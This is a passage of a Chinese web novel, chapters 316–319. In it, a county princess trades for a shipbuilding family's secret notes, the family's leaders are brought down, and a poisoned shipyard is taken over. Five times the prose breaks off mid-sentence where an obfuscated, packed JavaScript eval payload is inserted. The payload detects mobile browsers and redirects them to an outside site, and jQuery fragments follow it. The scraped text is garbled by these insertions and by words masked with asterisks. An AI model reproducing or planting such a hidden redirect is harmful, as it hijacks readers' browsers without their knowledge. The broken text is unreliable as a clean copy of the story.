晏逐星随着她一块进了屋内。
屋内光线昏暗,弥漫着一股浓重的、挥之不去的药味和沉闷气息。
陈设虽精致,却蒙着一层死气沉沉的灰败感。
柳大夫人示意丫鬟扶她在主位坐下,自己则像个提线木偶般,动作迟缓地拿起桌上的茶壶,开始为客人斟茶。
她将两杯茶推到晏逐星和方青鸾面前:“县主,夫人,请。”
她说完便又恢复了先前沉默的模样。
晏逐星开口道:“大夫人可知现下柳家出了什么事?”
柳大夫人摇了摇头。
她不关心柳家出了什么事,反正她的两个儿子都**,柳家出了什么事都与她无关。
晏逐星微微一笑:“柳文博窃取寒门学子录科考名额一事东窗事发,柳承宗已被押送府衙当堂受审。”
一句话,猛地让柳大夫人抬起了头。
原本平静无波的眼眸,瞬间多了几分不可思议和恨意。
“县主此言当真?”她缓缓开口。
“千真万确。”晏逐星迎着她的目光,平静而笃定地颔首。
随即,她眼风若有似无地扫过屋内侍立的几个丫鬟。
柳大夫人顺着她的目光看了一眼,淡淡道:“不必屏退。她们都是跟着我从娘家过来的,口风紧,心也向着我。这院子里的事,只会烂在这里。”
她顿了顿,又道:“县主和夫人想说什么,直说吧。”
“那明人就不说暗话了。夫人可想替儿子报仇?”晏逐星单刀直入,直奔主题。
柳大夫人端着茶杯的手微不可察地抖了抖。
她垂下眼帘:“县主慎言。妾身……听不懂您在说什么。”
晏逐星看了娘亲一眼,方青鸾明白,该她登场了。
她叹了一口气,开口道:“大夫人,咱们都是当娘的人,失去孩子那种剜肉剔骨的滋味,我懂!”
柳大夫人静静听着,依旧没有开口。
“你看我这闺女。”方青鸾侧头深深看了一眼晏逐星,眼眶红了。
“她小时候就在我眼皮子底下,被天杀的拐子给掳走了。我们母女整整分离了十多年。”
一句话,让柳大夫人诧异地抬起眼眸。
方青鸾紧紧握着女儿的手,哽咽道:“那时候,我的心就跟被活活挖走了没两样,这些年我发了疯一样地找她。山里的猛兽毒虫我都不怕,就怕……再也见不着她。”
“多少个夜里,我都睁着眼熬到天亮,不敢睡着。因为一闭眼就听见她哭着喊娘,那日子,简直生不如死。”
晏逐星虽然早就从大哥那里知道家里人找她有多难,但还是头一回听阿娘亲自说出来。
她的心有些酸酸的,忍不住也跟着红了眼眶。
柳大夫人怔怔地看着面前眼含热泪的母女。
“后来老天开眼,让我找回了她。可大夫人你呢?”方青鸾说着忽然扭头看向了她,声音变得凌厉。
“你的儿子**!他死得不明不白,仇人却还在逍遥快活。你心里当真咽的下这口气?”
“你躲在这深宅大院里,守着这死气沉沉的空屋子,装聋作哑,装没事人,可这有用吗?”
“你能把你儿子哭回来吗?能让你心里那刀绞似的疼少一分吗?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119100|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能!那只会让你自己活活憋屈死!让那些害了你儿子的人踩在你儿子的坟头上喝酒庆贺。”
柳大夫人听到这话,强忍着的眼泪夺眶而出。
她死死捏着椅子的扶手,一句话也说不出来。
方青鸾见火候差不多了,怒吼出声:“我若是你,豁出命我也要给儿子报仇。不然我真怕他在地下闭不上眼,说我不配给他当娘。”
“你懂什么——!!!”柳大夫人终于忍不住爆发了。
她猛地从椅子上弹起来,浑身剧烈地颤抖,那双枯井般的眼睛此刻布满了眼泪和红血丝。
“你以为我不想吗?!啊?!”
“我日日夜夜都活剐了那个害我儿的畜生!想把他们父子俩的心肝都挖出来祭我儿!”
她踉跄一步,仿佛被巨大的痛苦压垮,声音陡然转低,充满了刻骨的悲凉和无力。
“可……可我拿什么报?”
“证据呢?我儿是‘意外’身亡,现场干干净净,什么把柄都没留下。”
她惨笑一声,那笑声比哭还难听。
儿子出事之后,柳家上上下下,口风紧得像铁桶。连公婆都按着她的头,要她认,说她是当家主母,要以大局为重。
柳家不能乱。
她原想着求娘家人主持公道,可她们竟然也和公婆站在一起,劝她不要多生事端。
她颓然跌坐回椅子上,仿佛被抽干了所有力气。
她摇着头,泪水汹涌。
她娘家人都靠着柳家的生意过活,靠着柳家的名头在青州立足。
他们怕她闹起来,断了他们的活路。
只会劝她想开一点,反正那私生子名义上的母亲也是她,他出息了,她脸上也有光。
没人想过她死去的两个儿子有多无辜,没人想过她心里有多痛。
她只能躲进佛堂里,日日夜夜为儿子诵经,希望他们来世投生到一个好人家里去,再也不要来这**不吐骨头的地方了。
“是我这个当娘的没用,都是我的错……”她趴在桌上,嚎啕大哭了起来。
晏逐星打断了她的哭泣,沉声道:“如今报仇的机会就在眼前,就看大夫人您愿不愿意抓住了。”
第316章 大祸终临头
柳大夫人接过心腹丫鬟递来的帕子,擦掉了眼角的泪。
片刻后方才哑着嗓子开口:“你们想要什么?”
“大夫人痛快,我们自然也不绕弯子。我想要的,是柳家造船的核心机密。”晏逐星说出了自己的目的。
柳大夫人脸上瞬间浮现出一抹自嘲的惨笑,她摇了摇头:
“呵……机密?县主太看得起我了。我一个外姓人,柳家怎么会把这样关乎根基、视若性命的保命符告诉我。”
晏逐星神色未变,声音依旧平稳:
“大夫人不知晓,但您的两个儿子总该知晓一二吧?据我所知,他们十二岁起便进了船厂跟着学习柳家造船秘术。”
提到“儿子”,柳大夫人的身体猛地一颤,她几乎是条件反射地质问:
“儿子?县主莫不是忘了?我的儿子一个都没了!都**!难不成县主是要我去问**吗?!”
晏逐星缓缓站起身,语气有些惋惜:“看来大夫人并无诚意与我合作。”
“也罢。本县主不如去直接去问柳承宗了。说不定到时候他为了保住柳文博的命,自愿将这些秘术告诉我。”
她微微侧身,作势欲走。
方青鸾也急忙起身跟上。
见她们母女二人真的要离开,柳大夫人坐不住了。
“等等——!”
她失声喊道,随后猛地站起身想要去追晏逐星二人,却因为动作太急,眼前一阵发黑,旁边的丫鬟慌忙上前扶住她。
想到柳文博能活着,柳大夫人哪里还坐得住。
“我是不知道那些机密,但我儿……”
她的声音哽咽,充满了无尽的思念和悲愤。
“我儿从小就喜欢钻研那些木头船!他们兄弟二人生前偷偷记了好多东西。”
她闭上眼睛,两行清泪无声滑落。
“这家里……只有我这个没用的娘还惦记着他们。”
“他们**之后,我亲自收拾的他们的遗物,找到了他们留下来的笔记。”
“那里面密密麻麻全是关于造船的东西,龙骨怎么拗、榫卯怎么接、桐油怎么熬……还有一些柳家秘而不宣的关窍。”
“笔记我可以给你。但我要你发誓,让柳承宗和柳文博,身败名裂!血债血偿!”
晏逐星心底一阵狂喜,她原本只是想试探一下柳大夫人有没有这个东西,没想到对方竟然真的有。
她转身回到了柳大夫人面前,看着她眼中疯狂燃烧的恨意。
她郑重开口:“我,晏逐星,对天发誓。必让柳承宗父子,为你儿子偿命。让柳家为你儿子陪葬!”
柳大夫人死死盯着晏逐星的眼睛,想要辨别她说的到底是不是真的。
但对视片刻后,她像是耗尽了所有力气,颓然坐回椅子上,对着心腹丫鬟挥了挥手,声音嘶哑:“去我床头最底下那个暗格,把东西拿出来。”
晏逐星明白。
交易达成了。
*
柳承宗得知衙役竟要带自己去府衙过堂,眉头瞬间拧紧。
邢天海在搞什么鬼?
两千两银子喂下去,不是已经松口了么?
老二也在堂上压阵,这点小事还摆不平?
怎么还要劳动他亲自走一趟?
心中疑窦丛生,他冷冷扫了一眼领头的衙役。
那领头衙役被他看得头皮发麻,连忙挤出十二分的恭敬和小心,躬身道:
“柳家主息怒!实在是这回告状的不是寻常人,是十几个寒窗苦读的学子。乌泱泱跪了一片在衙门口。众目睽睽之下,大人也不敢轻易抹平啊!”
他小心翼翼打量着着柳承宗的脸色,赶紧补充。
“您放心,此事就是走个过场。大人心里有数,定会想法子替您周全,尽快了结此事。”
“到底怎么回事?不说清楚,本家主哪儿也不去!”柳承宗嗅到了一丝不同寻常的危险气息,声音蓦然变冷。
衙役无奈,只得硬着头皮将棠风陵等十几名学子,联名状告柳文博冒名顶替、柳承宗主使舞弊的事情,简略说了一遍。
“什么?!”
柳承宗心头猛地一沉。
科举的事不是已经处理干净了么,怎么会忽然被翻出来?
“还请柳家主体谅我家大人的难处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119101|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就走这一趟吧。”衙役扑通跪下,眼里满是哀求。
看着衙役恭敬讨好的态度,再想到邢天海收了重金,老二也还在堂上。
或许真是学子**,邢天海顶不住压力,需要他去走个过场安抚一下?
只要证据确凿已毁,凭柳家的势力和邢天海的手段,应该能压下去。
想到这,他压下心底的不安,面上恢复了几分从容,微微颔首:“罢了。既是大人有难处,本家主就走这一趟。”
他整理了一下锦袍袖口,准备随衙役出门。
没想到他刚迈出府门没几步,就听见一阵变了调的哭嚎声和急促的脚步声。
“家主!大事不好了——!!!”
一个柳府的下人连滚带爬地冲过来。
“二老爷被判了秋后问斩!船厂也被封了!”
柳承宗脑子里“嗡”的一声,眼前瞬间一片漆黑,身体晃了晃,几乎站立不稳。
老二被问斩?
船厂被封?
这究竟是怎么一回事?
“快!关门!”柳承宗反应了过来,这压根不是什么“走过场”,这是要置柳家于死地。
他猛地一把推开挡在身前的衙役,转身就要往府里冲。
他要回府,他要立刻调集所有力量……
“柳家主!得罪了!”
刚才还恭敬谄媚的领头衙役,此刻脸色骤变,他一声令下:“拿下!”
几个衙役瞬间扑了上来,死死扭住了柳承宗的双臂!
“放开我!混账!你们敢!”
柳承宗目眦欲裂,拼命挣扎嘶吼,锦袍被扯得凌乱不堪,哪里还有半分柳家家主威风凛凛的模样。
混乱中,柳承宗只得把希望寄托在了被这变故惊得呆若木鸡的三弟柳承德。
他大吼道:“老三!关门!快关死府门!召集所有护院!守死门户!”
“记住!绝不能让任何人进船厂!那是我们柳家最后的命根子……”
话音未落,他已被衙役们粗暴地拖拽着离开。
看着被拖走的大哥,柳承德终于意识到大祸临头,赶忙下令:“关门!快关门!”
第317章 晏逐星救场
柳承宗被衙役半押半“请”地带到了府衙大堂。
一露面,府衙外黑压压的百姓群情激愤,唾沫与怒骂如同暴雨般砸来。
“我呸,你个丧尽天良的东西,断人前程如**父母。你们柳家迟早要完。”
“青天大老爷,务必严惩柳承宗!还寒门学子公道!”
“柳家滚出青州!滚出青州!”
污言秽语,诅咒斥责,铺天盖地。
柳承宗衣裳被推搡得有些凌乱,但先前脸上那些惊惶失措,此刻已经消失得无影无踪。
他挺直了腰背,下颌微抬,冷漠又轻蔑地看着那些百姓,仿佛他们骂的不是他。
邢天海高坐堂上,看着柳承宗这副油盐不进,还带着一丝挑衅的姿态,再想到柳承岳那当众捅出的两千两,又是生气又是焦虑。
他必须快刀斩乱麻!
再拖下去,还不知道柳承宗会闹出什么岔子。
“啪!”
惊堂木被他拍得震天响,强行压下堂外的喧哗。
“肃静!!!”
邢天海不再给柳承宗任何开口辩解的机会,直接拿起早已备好的卷宗,语速极快地宣读起来:
“经查,柳氏家主柳承宗,为一己私利,罔顾国法,指使其子柳文博,冒名顶替寒门学子棠风陵录科考资格,证据确凿。”
“本官现判柳承宗革去功名,抄没家产,流放三千里。终身不得赦免。来人,将其即刻收押,待刑部核准后执行。”
这判决又快又狠,根本没打算给柳承宗任何辩驳的余地。
然而,出乎意料的是,听完判决的柳承宗脸上竟没有半分惊恐或愤怒。
他只是慢条斯理地整理了一下被扯乱的衣襟袖口,平静的开口:“邢大人这就判完了?”
邢天海被他看得心头一悸,冷脸道:“铁证如山!你还有何话说?”
柳承宗嘴角勾起一抹极其阴冷的弧度。
“不知大人是否真的想清楚了动我柳家的后果。”
他不等邢天海回答,自顾自地继续说下去。
“流放三千里?呵呵。我告诉你,只要我前脚踏出青州,后脚柳家造船厂里那些真正掌握着核心手艺的老师傅们就会一个个追随我而去。”
邢天海脸色顿时变得很难看。
柳承宗这分明是用老师傅们的命在威胁他。
柳承宗微微一顿,看着邢天海瞬间变得难看的脸色,眼中闪过一丝残忍的快意。
“哦,忘了告诉大人。我三弟此刻想必已妥善安置了那些老师傅,也封存了所有图纸和秘方笔记。”
“柳家倒了,不打紧。可大虞日后若还想造得出能抗风浪、走得了远洋、载得起军资的好船……怕是难了。”
“邢天海,你可想清楚了?断了朝廷的造船根基,这责任你担待得起吗?”
“放肆!”邢天海如同被踩了尾巴的猫,瞬间从椅子上弹了起来,惊堂木被他拍得震天响。
“你这混账东西!竟敢当堂威胁本官?”
柳承宗嘴角勾起一抹刺眼的笑。
他微微欠身,姿态恭敬:“大人息怒,您误会了。在下岂敢威胁朝廷命官?我这是分明是好心提醒您啊。”
“毕竟,柳家倒了,这偌大的船厂瘫痪,上千工匠流离失所,耽误了朝廷的造船大计。到时候龙颜震怒,追查下来……啧啧……”
听着这赤裸裸地威胁,邢天海忍无可忍:“将这混账给本官打入死牢,严加看管!没有本官手令,任何人不得探视。”
说完他立刻宣布此案结束,匆匆离开公堂。
出了这么大的事情,他得赶紧找永安王讨个主意才行。
邢天海跑到永安王暂住的宅院想要求见,却被告知王爷不在。
“王爷去哪了?”邢天海一愣。
这么重要的时刻,王爷怎么能不在呢。
真是急死他了。
“王爷已经带人去了柳家船厂。”门口的护卫回答道。
“柳家船厂?”听到这话,邢天海两眼一黑。
完了,这下彻底完了。
柳家船厂有多少人,邢天海再清楚不过了。
他们常年豢养着精壮的护院和凶悍的监工,不下两百人。
再加上经验老道的大工匠约有两三百人。
他们手下还有带着的学徒、帮工等青壮劳力,至少也有五六百人。
更别提还有那些负责搬运木料,清理场地的苦力,再加上打杂的人,七七八八算下来,整个柳家船厂至少有一千二百多号人。
据他所知,永安王这回也就带了二百个护卫。
哪怕加上隐麟卫的十几个人还有府衙里的一百来号人,哪里能拿得下柳家船厂啊。
“来人,备轿……不,备马,本官要去柳家船厂。”邢天海火急火燎地骑马赶去了柳家船厂。
没想到,到了柳家船厂的大门,门前的景象让他目瞪口呆。
永安王身后跟着密密麻麻的人,一眼望去,几乎看不到尽头。
邢天海彻底傻眼了,嘴巴张大得几乎能塞进一个鸡蛋。
“我的个老天爷啊,王爷这是从哪儿变出来的天兵天将?”他喃喃自语。
站在哨塔上试图和永安王谈判的柳承德神色凝重。
永安王带来的人将船厂门前偌大的空地塞得满满当当,一眼望去,如乌云压境,根本看不到尽头。
大哥二哥都不在,就靠他一个人,真的能拦住永安王吗?
谢翊宁没有搭理高高站着的柳承德,只是给了鸣珂一个眼神。
鸣珂当即抬手,挥舞旗帜,带着上千的将士们异口同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119102|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声呐喊起来。
“船厂里的所有人,你们听好了!”
“王爷知道你们大多是凭手艺吃饭的良善百姓。”
“如今,柳承宗、柳承岳罪孽深重,朝廷依法拿办,只诛首恶!”
“你们难道要跟着柳家一条道走到黑,对抗王法,落个聚众谋反、株连九族的下场吗?”
“想想你们的妻儿老小!”
“想想你们的手艺活路!”
“放下器械,打开厂门,王爷保你们平安无事!朝廷还要靠你们的手艺造船。”
上千人的声音凝聚在一块,威力十分骇人。
船厂里的所有人听得清清楚楚。
不少胆大的工匠和苦力被鼓动,悄悄摸到了紧闭的大门附近,甚至有人开始试图搬动那沉重的门闩。
“反了!你们要反了不成?”柳承德看到墙内的骚动,又惊又怒。
见无法呵退他们,他冷着脸冲底下的护卫们下令:“给我杀!靠近大门者,格杀勿论!”
“遵命!”
护卫头子毫不犹豫拔刀劈向挤在最前面的两个苦力。
滚烫的鲜血如同两道喷泉,猛地从被斩开的脖颈处飙出,溅了周围人满头满脸。
“啊——!”
“**啦!”
“别挤!别踩我!”
刚才还群情激奋试图推门的人,尖叫着、哭喊着、互相推搡,拼命向后拥挤退去。
靠近大门的那一片区域瞬间清空。
所有人都被这毫不留情、当众斩首的狠辣手段彻底震慑住了。
柳承德这才满意地看向了谢翊宁。
他朗声道:“永安王,实话告诉你吧。知道柳家造船秘法关窍的大匠和老师傅,都已经被我下了秘制的**。”
一句话引起了船厂里众人的骚动,那些先前被迫服下药物的工匠脸上早已没了血色。
但柳承德不在乎,他怒吼出声:“你若不放过柳家,不放过我大哥、二哥。执意要赶尽杀绝……”
“那我就让那些知道柳家造船秘密的人,全都陪葬,让柳家百年秘术就此断绝!你也休想得到半点好处!”
谢翊宁的脸色彻底沉了下来。
好歹毒的做法,竟然用无辜百姓的性命来威胁他。
就在这时,一个嘲讽的声音伴随着马蹄声从后方传来。
“柳承德,你在做什么梦?”
谢翊宁猛地循声回头。
人群如同潮水般向两侧分开,一个少女逆着阳光策马疾驰而来。
快到跟前时,谢翊宁看清了马背上的人。
是小恩人!
只见晏逐星一手控缰,另一只手高高举起一本厚厚的册子。
她冲谢翊宁挑眉一笑,而后又看向了哨塔上的柳承德,朗声道:“柳家百年秘术,你说的是这个吗?”
第318章 是自己作死
柳承德看到晏逐星拿着一本册子出现,震惊不已。
令嘉县主怎么会出现在这里?
她不是应该在柳家内宅被夫人接待着么?
随后反应过来,心头浮起深深的愤怒。
这女人今日去柳家果然是心怀鬼胎,为的就是窃取柳家的造船秘术。
他轻蔑地俯视着晏逐星,冷冷一笑:“你以为拿一本破册子就能唬住我么?我柳家的秘术,那是口口相传,非嫡传子弟不得知晓。”
“是么?”晏逐星也笑了。
她翻开册子,随便翻开一页,将里边记载的东西大声念了出来。
“七分选材,三分造。木不饮风沐烟,终是凡胎……”
“榫卯合,听其声,清越如磬方为佳;沉闷若鼓,必藏隐患……”
她每念一句话,柳承德的脸色就变白一分。
怎么可能,柳家的秘术怎么会落到她手中?
如今他柳家知道秘术的嫡系子弟,皆于船厂之内。
难不成是公堂之上,大哥和二哥屈打成招,松口了?
柳承德脑子里乱七八糟的,他看着晏逐星脸上得意的笑,怒从心头起,脱口而出:“你住口!!!这些根本就不是柳家的秘术。”
谢翊宁看他这气急败坏的模样,心里有了成算,扭头询问从马上一跃而下的晏逐星。
“这东西哪来的?”
晏逐星小声道:“柳大夫人给的。”
谢翊宁心底的把握有了七八分。
他吩咐了鸣珂一声。
鸣珂当即会意,领着将士们再次鼓动船厂里的百姓。
“船厂内的所有人听着。”
“柳家罪孽滔天,与你们无关!”
“此刻,放下手中器械,打开大门,束手归顺者,王爷既往不咎!”
“并且会即刻请宫中太医,全力为你们配制解药,保你们性命无虞,平安与家人团聚。”
将士们的喊话声像一块巨石砸进了看似平静的船厂。
被困在中央的老师傅们,脸上的麻木和死气被瞬间搅动了,窃窃私语声嗡地一下炸开。
“大家伙都怎么想的?咱们真要背叛柳家么?”年纪最小的赵石开口了。
这些老师傅们,都快五十了。
而他才三十五,他还不想死。
但他们都不说话,他又不敢主动提要出去。
先前有两人想要冲出去,结果被护卫砍了脑袋的血腥场景还历历在目。
“在座的至少祖孙三代都在柳家船厂干了一辈子。咱们吃柳家的饭,穿柳家的衣。真的要当那不知感恩的人背叛柳家么?”最固执的老黄狠狠朝地上啐了一口浓痰。
张庆仁听到这话顿时不乐意了,怒道:“什么背叛柳家?是他不仁不义给咱们下毒在先,我们自保有什么错?”
也有胆子小的还在犹豫不定:“你们怎么知道外面那王爷说话算数?万一诓咱们出去,一锅端了呢?柳家、柳家再不是东西,总归照看了咱们这么多年。每个月的工钱,从不拖欠,逢年过节还给咱们发米面粮油……”
“出去了还有活命的机会,留下来就是死路一条。我不管你们走不走,我走定了。那可是太医,全天底下最厉害的大夫,我就不信,还解不开柳家给咱们下的毒!”张庆仁当即做出了决定。
……
老师傅们那边吵得脸红脖子粗,大工匠和学徒们也很不安。
一开始,他们听到柳家三老爷说什么朝廷眼红柳家造船的宝贝方子,要带兵硬抢,还说官兵都是虎狼,进来就要杀光他们这些同伙。
这话当时听着就让人心里发毛,手脚冰凉。
只能硬着头皮拿起武器自保。
他们可不想死。
没想到,王爷来了之后,说得和柳三老爷完全不一样。
对他们下手的,反倒是那些柳家的护卫。
“狗屁的朝廷硬抢!”一个精瘦的大工匠突然低低骂了一句。
“我看是柳家自己作死,惹了不该惹的人,拿咱们当垫背的!什么秘术传家?命都没了,秘术顶个屁用!”
他越说越激动。
“**,老子不干了!横竖是个死,不如赌一把!开门!”
听到他这么说,其他人也跟着嚷嚷了起来。
“对!开门!放我们出去!”
“王爷救命啊!”
“柳家不拿咱们当人,傻子才给他卖命!”
……
外边的谢翊宁让人喊话结束后,立刻命人强行破开船厂大门。
柳承德怒不可遏,外边永安王来势汹汹,里边自己人乱作一团。
护卫和监工又要堵门,又要防止那些工匠学徒们**。
整个船厂彻底乱了套。
柳观澜看着底下彻底失控的乱象,心知大势已去。
他几步冲到父亲面前,急得声音都变了调:“爹!这群泥腿子靠不住了!留得青山在不愁没柴烧啊!”
“再不走,咱们柳家真要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119103|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝户了!”
听到儿子这话,柳承德也意识到了柳家已经到了生死存亡之际。
筹码尽失,人心已散,再耗下去,柳家百年基业连同血脉,真就要断送在此了。
所有的侥幸在这一刻烟消云散。
“走,你带着观澄、观流他们一起走。”柳承德咬牙下了命令。
他没提任何一个孙辈的名字。
孙子们还太小,带上反而是拖累。
只要儿子们活着逃出去,柳家的根就断不了。
至于孙儿们……
他赌的就是当今天子那点“仁德”之名,总不至于对懵懂幼儿赶尽杀绝。
柳观澜知道这是最后的生路。
他不敢再耽搁,喉头哽咽地唤了一声“爹,孩儿不孝。”便转身叫上堂兄堂弟,一块往密道赶去。
柳承德想着大哥和二哥肯定是跑不了了,咬牙也拿刀冲了下去。
他要杀了令嘉县主!
若不是她窃取了柳家的秘术,他们何至于此!
船厂大门已经被谢翊宁的人撞开。
他们一入船厂,便迅速将混乱的场面给平定了。
这些真正上过阵、见过血的将士,对付船厂里那些只会欺压工匠的护卫监工,简直就是大人打小孩。
“放下武器!”
“跪地不杀!”
整齐划一的吼声瞬间压过了船厂里的混乱。
刚才还举着棍棒跟着柳承德叫嚣的护卫监工,一碰上这真刀**的阵仗,腿肚子都软了。
柳承德一脑门心思想要杀了晏逐星。
结果还没靠近晏逐星的衣角,就被这吼声吓了一跳,手里的刀一下没拿稳,哐当掉到了地上,直接被冲进来的将士们给捉住了。
不到半个时辰的功夫,谢翊宁的人就接管了柳家船厂。
柳承德被扣押到了最前边,跪在地上,一脸颓然。
跟进来的邢天海长长地舒了一口气。
太好了,柳家三兄弟都被拿下了。
这回他倒要看看,柳承宗在大牢里还怎么嚣张!
他东张西望了一下,发现柳承德和柳家的孙子都在,但就是没瞧见他儿子。
他果断凑到谢翊宁身边汇报:“启禀王爷,柳承德的长子柳观澜不在此处!”
他来得晚,前面拼命的功劳是没份了。
但发现柳观澜失踪这个重要情报,王爷怎么着也该给他记一功吧?
回头给他判刑的时候,是不是能判轻一点?
第319章 身份自己给
听到邢天海这话,柳承德眼里几乎要喷出火来。
若不是被两个将士按着,他几乎要扑过来直接咬死邢天海了。
“邢天海!你个老匹夫!你收我柳家银子的时候可不是这副嘴脸。”
他骂得唾沫星子横飞,按压他的将士都悄悄挪开了脚,生怕他的口水飞到自己的鞋上。
“你这条喂不熟的白眼狼!忘恩负义!猪狗不如!”
柳承德越骂越毒,恨意滔天,几乎是在用尽全身力气诅咒他。
“你等着!老子在下面等着看你!看你全家怎么烂肠穿肚!看你个狗官最后怎么落得个尸骨无存的下场!我呸!”
邢天海被骂得脸色发青。
“你少血口喷人,你等着,王爷英明神武,你全家都跑不掉的。”他梗着脖子回应。
谢翊宁扭头看向鸣珂。
鸣珂冲他摇了摇头:“王爷,没找到柳观澜。”
“封锁船厂,撬开他的嘴,柳家一个也不能少。”谢翊宁皱眉下了命令。
“是。”鸣珂应下,当即把柳承德拖到一边审问。
晏逐星和秦朔不用他吩咐,就已经带人去搜索密道了。
没过多久,一阵急促的马蹄声由远及近。
只见季行舟像一袋面粉似的被方青鸾横搭在马背上,一路颠簸而来。
马刚停稳,驾马而来的方青鸾就毫不客气地把他往地上一“卸”。
季行舟双脚刚一沾地,腿一软,“哇”地一声,直接跪趴在地上,吐了个天昏地暗。
“王爷!幸不辱命,已经将人给您带来了!”方青鸾抱拳行礼。
先前她跟在女儿身后赶到,得知柳承德这个丧心病狂地给柳家老师傅们下了**,当即领命回去把季行舟请来。
人命关天,她嫌季行舟动作太慢,直接就拎着他过来了。
谢翊宁为微微颔首:“辛苦夫人了。”
随后命人端来一碗清水给季行舟漱口,又亲自将他搀扶了起来。
“季太医,今日事发突然,百姓们都等着你救命呢。”
一肚子委屈的季行舟听到这话,看向谢翊宁的表情跟见了鬼似的。
什么季太医?
乍一听,他还以为他祖父来了呢。
谢翊宁一脸淡定地将他拉到了那些等着解毒的百姓面前,介绍了起来。
“这位是京里来的季太医。季家世代行医,宫里贵人都信得过的。”
他顿了顿,目光扫过那些惶惑不安的百姓,特意补了一句。
“别看他年纪轻,宫里不少老太医都赞他后生可畏。这一路上他随本王从京城到青州,救了数条人命,许多百姓见着他都要喊一声神医。有他在,可保诸位无虞。”
季行舟:“???”
他什么时候就成太医了。
他还没参加选拔考试呢。
还有那什么神医,那也是徐家人谬赞了。
这就是传说中的出门在外,身份都是自己给的?
但王爷金口玉言,他怎么敢反驳,只得装出一副世外高人的模样点了点头。
“太好了,有神医在,咱们肯定没事了!”
原本心里慌慌的老师傅们,这下都安心了。
季行舟认命地替他们把脉。
他一边把脉一边在心底碎碎念:“列祖列宗保佑,一定要是我认识的**啊。”
片刻后,他唇角微微上翘,想起此刻笑出声不合时宜,又赶紧忍住了。
太好了,是他认识的**。
柳承德并非真的想要这些人的性命,若扛过了这一劫,他还想让他们继续在柳家卖命呢。
毕竟这些老师傅,都是不可多得的人才。
“放心,此毒我能解。”
听到季行舟这话,百姓们都忍不住欢呼了起来。
除此之外,谢翊宁还派人把青州的大夫叫来了大半,让他们替那些受了伤的百姓免费包扎治疗,直接把船厂的学徒工匠们感动得两眼泪汪汪。
邢天海也没闲着,他被林护卫又“请”回了府衙。
柳承宗和柳承岳判了,但柳承德还没判呢。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122681|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还得将整个案子梳理清楚,好上报朝廷,不能让那些人找永安王的麻烦。
整个船厂恢复了往日的有条不紊。
时间过去了许久,谢翊宁皱眉看向一旁的护卫:“柳承德还没吐口么?”
话音落下,就听到晏逐星的声音。
“他说不说无所谓了,反正人已经抓回来了!”晏逐星神采飞扬,手里拿着一根绳。
谢翊宁探头一看,发现试图从密道逃跑的柳家三兄弟被捆了个严严实实,都老实跟着她走了回来,面如死灰。
柳承德坚持了那么久没松口,就是为了给儿子和侄子争取逃跑的机会,没想到他们竟然被抓了回来。
还是他看不上的女人给抓回来的。
这个令嘉县主,真就是他们柳家的克星!
他气急攻心加上鸣珂的折磨,当即就晕了过去。
“将他拖走。”谢翊宁一脸嫌弃地看着晕倒在地的柳承德。
抬头看向晏逐星时,脸色变成了欣慰。
他有些好奇:“你怎么知道他们在哪?难不成你之前来过柳家船厂?”
“那倒没有。”晏逐星摇了摇头,也没有卖关子,直接把自己怎么找人的方法说了出来。
“柳家船厂靠海,我猜他们要逃的话,多半也是要从海上溜。”
